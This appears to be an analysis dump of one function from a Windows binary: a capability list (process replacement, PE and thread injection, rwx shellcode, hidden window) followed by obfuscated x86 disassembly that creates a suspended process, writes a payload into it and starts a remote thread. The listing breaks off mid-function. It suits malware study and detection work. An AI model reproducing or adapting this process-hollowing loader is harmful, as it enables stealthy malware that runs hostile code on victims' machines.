Function at 0x10003240
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x190
mov eax, dword [0x10066200]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x198], 0x1ed650e6
mov eax, dword [ebp - 0x198]
mov dword [ebp - 0x19c], eax
sub eax, 0x81dd8500
je 0x10005d2d
jmp 0x1000327c
mov eax, dword [ebp - 0x19c]
sub eax, 0x83ed86cf
je 0x100060b5
jmp 0x10003292
mov eax, dword [ebp - 0x19c]
sub eax, 0x8a30187d
je 0x100050dc
jmp 0x100032a8
mov eax, dword [ebp - 0x19c]
sub eax, 0x8ae9cc11
je 0x10004771
jmp 0x100032be
mov eax, dword [ebp - 0x19c]
sub eax, 0x8b0b812c
je 0x10005484
jmp 0x100032d4
mov eax, dword [ebp - 0x19c]
sub eax, 0x8cd3efb1
je 0x1000662c
jmp 0x100032ea
mov eax, dword [ebp - 0x19c]
sub eax, 0x8f9e33b5
je 0x1000524d
jmp 0x10003300
mov eax, dword [ebp - 0x19c]
sub eax, 0x92c3d261
je 0x10004909
jmp 0x10003316
mov eax, dword [ebp - 0x19c]
sub eax, 0x9502129a
je 0x10006827
jmp 0x1000332c
mov eax, dword [ebp - 0x19c]
sub eax, 0x95091d88
je 0x100058b2
jmp 0x10003342
mov eax, dword [ebp - 0x19c]
sub eax, 0x9534f4b0
je 0x1000563b
jmp 0x10003358
mov eax, dword [ebp - 0x19c]
sub eax, 0x9c17351d
je 0x10004da4
jmp 0x1000336e
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e10b28e
je 0x10004dd0
jmp 0x10003384
mov eax, dword [ebp - 0x19c]
sub eax, 0x9e9a00a2
je 0x100055b2
jmp 0x1000339a
mov eax, dword [ebp - 0x19c]
sub eax, 0x9eee9605
je 0x10004663
jmp 0x100033b0
mov eax, dword [ebp - 0x19c]
sub eax, 0x9fa8e0b3
je 0x1000679b
jmp 0x100033c6
mov eax, dword [ebp - 0x19c]
sub eax, 0xa1b956ef
je 0x100064a8
jmp 0x100033dc
mov eax, dword [ebp - 0x19c]
sub eax, 0xa51bd4d6
je 0x100054cf
jmp 0x100033f2
mov eax, dword [ebp - 0x19c]
sub eax, 0xa76df2ba
je 0x100059b8
jmp 0x10003408
mov eax, dword [ebp - 0x19c]
sub eax, 0xa8f27ef6
je 0x100065fc
jmp 0x1000341e
mov eax, dword [ebp - 0x19c]
sub eax, 0xa9aadbec
je 0x10005ebc
jmp 0x10003434
mov eax, dword [ebp - 0x19c]
sub eax, 0xabb69e85
je 0x1000605f
jmp 0x1000344a
mov eax, dword [ebp - 0x19c]
sub eax, 0xb401a6d1
je 0x10004a67
jmp 0x10003460
mov eax, dword [ebp - 0x19c]
sub eax, 0xb41a9dfd
je 0x100065a6
jmp 0x10003476
mov eax, dword [ebp - 0x19c]
sub eax, 0xb5e94b97
je 0x10005e67
jmp 0x1000348c
mov eax, dword [ebp - 0x19c]
sub eax, 0xbb68da08
je 0x10004404
jmp 0x100034a2
mov eax, dword [ebp - 0x19c]
sub eax, 0xbceb643b
je 0x1000456f
jmp 0x100034b8
mov eax, dword [ebp - 0x19c]
sub eax, 0xbe4fce47
je 0x10006172
jmp 0x100034ce
mov eax, dword [ebp - 0x19c]
sub eax, 0xbf0ec613
je 0x10005b30
jmp 0x100034e4
mov eax, dword [ebp - 0x19c]
sub eax, 0xc2542199
je 0x1000537a
jmp 0x100034fa
mov eax, dword [ebp - 0x19c]
sub eax, 0xc8d338f8
je 0x100053a9
jmp 0x10003510
mov eax, dword [ebp - 0x19c]
sub eax, 0xc9562c45
je 0x10006800
jmp 0x10003526
mov eax, dword [ebp - 0x19c]
sub eax, 0xcc2c75f7
je 0x100063bf
jmp 0x1000353c
mov eax, dword [ebp - 0x19c]
sub eax, 0xcd58c85a
je 0x1000655c
jmp 0x10003552
mov eax, dword [ebp - 0x19c]
sub eax, 0xcf05ce90
je 0x10004d4e
jmp 0x10003568
mov eax, dword [ebp - 0x19c]
sub eax, 0xcfa74980
je 0x100065c3
jmp 0x1000357e
mov eax, dword [ebp - 0x19c]
sub eax, 0xcfba8c60
je 0x10004197
jmp 0x10003594
mov eax, dword [ebp - 0x19c]
sub eax, 0xd06241f6
je 0x1000495a
jmp 0x100035aa
mov eax, dword [ebp - 0x19c]
sub eax, 0xd4f168d0
je 0x100052c7
jmp 0x100035c0
mov eax, dword [ebp - 0x19c]
sub eax, 0xd72273aa
je 0x10004a1e
jmp 0x100035d6
mov eax, dword [ebp - 0x19c]
sub eax, 0xd758ca46
je 0x100043f5
jmp 0x100035ec
mov eax, dword [ebp - 0x19c]
sub eax, 0xd9958344
je 0x10004c40
jmp 0x10003602
mov eax, dword [ebp - 0x19c]
sub eax, 0xdb3d0c21
je 0x10005dbe
jmp 0x10003618
mov eax, dword [ebp - 0x19c]
sub eax, 0xdbfa3417
je 0x10005d48
jmp 0x1000362e
mov eax, dword [ebp - 0x19c]
sub eax, 0xdc04d0f6
je 0x100065e1
jmp 0x10003644
mov eax, dword [ebp - 0x19c]
sub eax, 0xdfd0571f
je 0x10004363
jmp 0x1000365a
mov eax, dword [ebp - 0x19c]
sub eax, 0xe0cef09b
je 0x100054a5
jmp 0x10003670
mov eax, dword [ebp - 0x19c]
sub eax, 0xe0d7486f
je 0x10006812
jmp 0x10003686
mov eax, dword [ebp - 0x19c]
sub eax, 0xe20ba70a
je 0x10006611
jmp 0x1000369c
mov eax, dword [ebp - 0x19c]
sub eax, 0xe5690558
je 0x10004470
jmp 0x100036b2
mov eax, dword [ebp - 0x19c]
sub eax, 0xe8f8cbd3
je 0x10004b1a
jmp 0x100036c8
mov eax, dword [ebp - 0x19c]
sub eax, 0xeb36a465
je 0x100056ba
jmp 0x100036de
mov eax, dword [ebp - 0x19c]
sub eax, 0xec4fd39f
je 0x1000583c
jmp 0x100036f4
mov eax, dword [ebp - 0x19c]
sub eax, 0xf2ed72aa
je 0x100040b0
jmp 0x1000370a
mov eax, dword [ebp - 0x19c]
sub eax, 0xf349494d
je 0x1000511e
jmp 0x10003720
mov eax, dword [ebp - 0x19c]
sub eax, 0xf42eaa95
je 0x1000678c
jmp 0x10003736
mov eax, dword [ebp - 0x19c]
sub eax, 0xf4c660d7
je 0x10005b04
jmp 0x1000374c
mov eax, dword [ebp - 0x19c]
sub eax, 0xf7395f6d
je 0x100062c4
jmp 0x10003762
mov eax, dword [ebp - 0x19c]
sub eax, 0xf7f52afe
je 0x10005f83
jmp 0x10003778
mov eax, dword [ebp - 0x19c]
sub eax, 0xf8bb8145
je 0x1000485a
jmp 0x1000378e
mov eax, dword [ebp - 0x19c]
sub eax, 0xfb1a331d
je 0x1000607d
jmp 0x100037a4
mov eax, dword [ebp - 0x19c]
sub eax, 0xfe62ecfb
je 0x10003fb6
jmp 0x100037ba
mov eax, dword [ebp - 0x19c]
sub eax, 0xff3761bc
je 0x10005751
jmp 0x100037d0
mov eax, dword [ebp - 0x19c]
sub eax, 0x9348ba
je 0x1000454e
jmp 0x100037e6
mov eax, dword [ebp - 0x19c]
sub eax, 0x31f8c55
je 0x10005f27
push eax
mov eax, esp
mov dword [ebp - 0x178], eax
push eax
mov eax, esp
mov dword [ebp - 0x174], eax
push eax
mov eax, esp
mov dword [ebp - 0x170], eax
push eax
mov eax, esp
mov dword [ebp - 0x16c], eax
push eax
mov eax, esp
mov dword [ebp - 0x168], eax
push eax
mov eax, esp
mov dword [ebp - 0x164], eax
push eax
mov eax, esp
mov dword [ebp - 0x160], eax
push eax
mov eax, esp
mov dword [ebp - 0x15c], eax
push eax
mov eax, esp
mov dword [ebp - 0x158], eax
push eax
mov eax, esp
mov dword [ebp - 0x154], eax
push eax
mov eax, esp
mov dword [ebp - 0x150], eax
push eax
mov eax, esp
mov dword [ebp - 0x14c], eax
push eax
mov eax, esp
mov dword [ebp - 0x148], eax
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
sub edx, 0x3c1824
sub edx, 1
add edx, 0x3c1824
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6b6b956c
mov ecx, 0x6af7c0d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
push eax
mov eax, esp
mov dword [ebp - 0x144], eax
push eax
mov eax, esp
mov dword [ebp - 0x140], eax
push eax
mov eax, esp
mov dword [ebp - 0x13c], eax
push eax
mov eax, esp
mov dword [ebp - 0x138], eax
push eax
mov eax, esp
mov dword [ebp - 0x134], eax
push eax
mov eax, esp
mov dword [ebp - 0x130], eax
push eax
mov eax, esp
mov dword [ebp - 0x12c], eax
push eax
mov eax, esp
mov dword [ebp - 0x128], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, [0x100131e1]
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4c200
call section..text
add esp, 8
lea eax, section..data
mov dword [ebp - 0x17c], eax
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0x180]
movzx edx, word [eax]
mov eax, 0x4468285
mov ecx, 0xcfba8c60
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x17c]
mov dword [ebp - 0x124], eax
mov eax, dword [ebp - 0x180]
add eax, 0x3c
mov dword [ebp - 0x120], eax
mov dword [ebp - 0x198], 0x6caa6295
jmp 0x10006840
lea eax, [ebp - 0x64]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10007bf0
add esp, 0xc
mov eax, dword [ebp - 0x184]
cmp dword [eax + 0xe8], 0
setne al
and al, 1
mov byte [ebp - 0x189], al
mov dword [ebp - 0x198], 0x7bf8c8d5
jmp 0x10006840
mov dword [ebp - 0x198], 0xbb68da08
jmp 0x10006840
mov eax, dword [ebp - 0x190]
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x198], 0x465ed39
jmp 0x10006840
mov edx, dword [ebp - 0x114]
xor eax, eax
lea ecx, [ebp - 0x64]
lea eax, [ebp - 0x20]
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x10d], al
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
sub edx, 0x6d455913
sub edx, 1
add edx, 0x6d455913
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5c474023
mov ecx, 0x9348ba
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dl, byte [ebp - 0x10d]
mov eax, 0x3ce02fb6
mov ecx, 0xbceb643b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x198], 0x74d63e43
jmp 0x10006840
mov dl, byte [ebp - 0x101]
mov eax, 0x7ba9a4d
mov ecx, 0x149e0711
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dword [ebp - 0x198], 0x3616870d
jmp 0x10006840
mov eax, dword [ebp - 0x178]
mov dword [eax], 0
mov eax, dword [0x10067538]
mov ecx, dword [0x10067534]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3a82f1c8
mov ecx, 0x69cd875b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [0x10067538]
mov ecx, dword [0x10067534]
mov edx, eax
sub edx, 0x1a1f71c2
sub edx, 1
add edx, 0x1a1f71c2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2418feb7
mov ecx, 0xd06241f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0x17c]
mov edx, dword [ebp - 0x178]
mov edx, dword [edx]
mov esi, dword [ebp - 0x20]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x180]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x184]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x168]
mov dword [eax], ecx
mov eax, dword [0x10067538]
mov ecx, dword [0x10067534]
mov edx, eax
add edx, 0xa79e5517
sub edx, 1
sub edx, 0xa79e5517
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2418feb7
mov ecx, 0x8e9fd90
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x164]
mov dword [eax], 0
mov dword [ebp - 0x198], 0x77db844e
jmp 0x10006840
mov dl, byte [ebp - 0xf9]
mov eax, 0xcf05ce90
mov ecx, 0x191c52e2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xcd58c85a
mov ecx, 0x20b4eceb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
add eax, 0x36a34955
add eax, 1
sub eax, 0x36a34955
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0x198], 0x417e6522
jmp 0x10006840
mov eax, dword [ebp - 0x160]
mov dword [eax], 0
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 0xa0]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0x198], 0x5090446
jmp 0x10006840
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
mov dword [ebp - 0xe0], eax
mov eax, dword [ebp - 0x184]
add eax, 4
mov dword [ebp - 0xdc], eax
mov dword [ebp - 0x198], 0x9e10b28e
jmp 0x10006840
mov eax, dword [ebp - 0xdc]
movzx esi, word [eax + 2]
mov edx, dword [ebp - 0xe0]
mov eax, 0x1b50e5fa
mov ecx, 0x7562130c
cmp edx, esi
cmovl eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov eax, dword [ebp - 0xc8]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov ecx, dword [ebp - 0xcc]
add ecx, eax
mov eax, dword [ebp - 0x160]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x345286e6
jmp 0x10006840
mov eax, dword [ebp - 0x158]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x198], 0x6c6edcd7
jmp 0x10006840
mov eax, dword [ebp - 0x178]
mov eax, dword [eax]
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0x184]
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0x198], 0x1d384f24
jmp 0x10006840
mov eax, dword [ebp - 0xb4]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0xb8]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0xad], al
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
add edx, 0x62cb5a33
sub edx, 1
sub edx, 0x62cb5a33
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdc04d0f6
mov ecx, 0x73752f57
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dword [ebp - 0x198], 0x34f19658
jmp 0x10006840
mov eax, dword [0x10067538]
mov ecx, dword [0x10067534]
mov edx, eax
add edx, 0x8851b005
sub edx, 1
sub edx, 0x8851b005
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xa8f27ef6
mov ecx, 0x56aa6d8f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dl, byte [ebp - 0xa5]
mov eax, 0x2622baaa
mov ecx, 0xe0cef09b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
add eax, 0x8b6bfc22
add eax, 8
sub eax, 0x8b6bfc22
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x198], 0xa51bd4d6
jmp 0x10006840
mov ecx, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov ecx, dword [eax + 4]
sub ecx, 0xb5a7a61d
sub ecx, 8
add ecx, 0xb5a7a61d
shr ecx, 1
mov eax, dword [ebp - 0x14c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 0x34]
sub ecx, 0x3d2f4b13
sub ecx, eax
add ecx, 0x3d2f4b13
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov dword [eax], 0
mov dword [ebp - 0x198], 0x7bed155
jmp 0x10006840
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x14c]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x9d], al
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe20ba70a
mov ecx, 0x9534f4b0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dword [ebp - 0x198], 0x61ca2328
jmp 0x10006840
mov edx, dword [ebp - 0x9c]
mov eax, 0x50bf4ecf
mov ecx, 0x257cf1d4
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x160]
mov eax, dword [eax]
mov eax, dword [eax]
sub ecx, 0x399173b9
add ecx, eax
add ecx, 0x399173b9
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [ebp - 0x144]
mov edx, dword [edx]
movzx edx, word [eax + edx*2]
xor edx, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov eax, 0xffffffff
xor eax, 0x79424165
or edx, esi
or eax, 0x79424165
xor edx, 0xffffffff
and edx, eax
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
sub edx, 0x3be435d3
sub edx, 1
add edx, 0x3be435d3
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x8cd3efb1
mov ecx, 0x597f46db
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
add edx, 0xf090d5ec
sub edx, 1
sub edx, 0xf090d5ec
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6553586e
mov ecx, 0x95091d88
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x140]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x13c]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtReadVirtualMemory
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x95], al
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
add edx, 0x7409679b
sub edx, 1
sub edx, 0x7409679b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6553586e
mov ecx, 0xe129943
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
sub edx, 0x7c565024
sub edx, 1
add edx, 0x7c565024
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x7a8d6e1f
mov ecx, 0x70a7da5a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x8c], eax
mov dword [ebp - 0x198], 0xbf0ec613
jmp 0x10006840
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x23938563
mov ecx, 0x805027f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x194]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x198], 0xdbfa3417
jmp 0x10006840
mov ecx, dword [0x10067538]
mov eax, dword [0x10067534]
mov edx, ecx
add edx, 0x8101b399
sub edx, 1
sub edx, 0x8101b399
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9fa8e0b3
mov ecx, 0xdb3d0c21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov ecx, dword [ebp - 0x84]
add ecx, 0x69a6195a
add ecx, 8
sub ecx, 0x69a6195a
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x178]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x184]
cmp dword [eax + 0xc4], 0
setne al
and al, 1
mov byte [ebp - 0x7d], al
mov eax, dword [0x10067538]
mov ecx, dword [0x10067534]
mov edx, eax
add edx, 0x3eb54288
sub edx, 1
sub edx, 0x3eb54288
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9fa8e0b3
mov ecx, 0xb5e94b97
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov dl, byte [ebp - 0x7d]
mov eax, 0xbe4fce47
mov ecx, 0x334843e6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov ecx, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x3faecb6a
jmp 0x10006840
mov dword [ebp - 0x198], 0x75d3670f
jmp 0x10006840
mov dl, byte [ebp - 0x71]
mov eax, 0x3fd23b2
mov ecx, 0xfb1a331d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x198], eax
jmp 0x10006840
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x184]
mov eax, dword [eax + 0x34]
add ecx, 0x76d789d1
sub ecx, eax
sub ecx, 0x76d789d1
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov dword [ebp - 0x198], 0x83ed86cf
jmp 0x10006840
mov eax, dword [ebp - 0x178]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
add ecx, 0xcd99f2a2
add ecx, eax
sub ecx, 0xcd99f2a2
mov eax, dword [ebp - 0x12c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x12c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x20]
mov edx, dword [ebp - 0x128]
xor esi, esi
sub esp, 0x2c
mov dword [esp], edx
mov dword [esp + 4], 0x20000000
mov dword [esp + 8], 0
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
call sub.ntdll.dll_NtCreateThreadEx
mov eax, dword [ebp - 0x134]
mov ecx, dword [eax]
